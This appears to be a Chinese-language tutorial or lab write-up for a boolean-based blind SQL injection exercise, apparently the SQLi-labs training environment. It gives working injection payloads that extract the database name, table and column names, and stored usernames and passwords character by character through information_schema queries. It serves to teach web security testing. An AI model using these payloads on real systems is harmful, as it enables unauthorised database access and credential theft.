函数使用:
判断注入点
可以发现这里不存在整型注入
没有显示位,可判断为字符型注入
?id=1' and length(database())>1 --+
?id=1' and ascii(substr((database()),1,1)) =115 --+
可以看到当ascll值为115时回显说明第一个字符为‘s’剩下的字符依次进行解密,当然这样比较麻烦.
第二位:?id=1' and ascii(substr((database()),2,1)) >80 --+
类似这样只需修改数值依次解出:database=security
大致可以猜测到数据库名:security
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ (结果为4)
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+(结果为6)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
第一个值为:e,看一下解释如何往下进行
再第一张表中我们只需要修改红字部分进行注入
第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+
就这样依次进行得到表名:emails/users
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+
第一列第一个字符为:i
继续第二个:d
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+
依次求第二列:
第一个字符:u
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+
换列则需要改变第一个红标处,列中数据改变则需要改变第二个红标处
可以得到:
第二列名:username
第三列名:password
?id=1' and (select count(*) from users)=13 --+
?id=1' and length((select id from users limit 0,1))=1 --+
select id from users limit 0,1;
获取username中数据
获取password中数据
可见账号为Dumb 密码为Dumb
?id=1' and length((select username from users limit 0,1))=4 --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb
其实这样下来程序是十分繁杂的,接下来将会使用burp工具来爆破进行获取信息。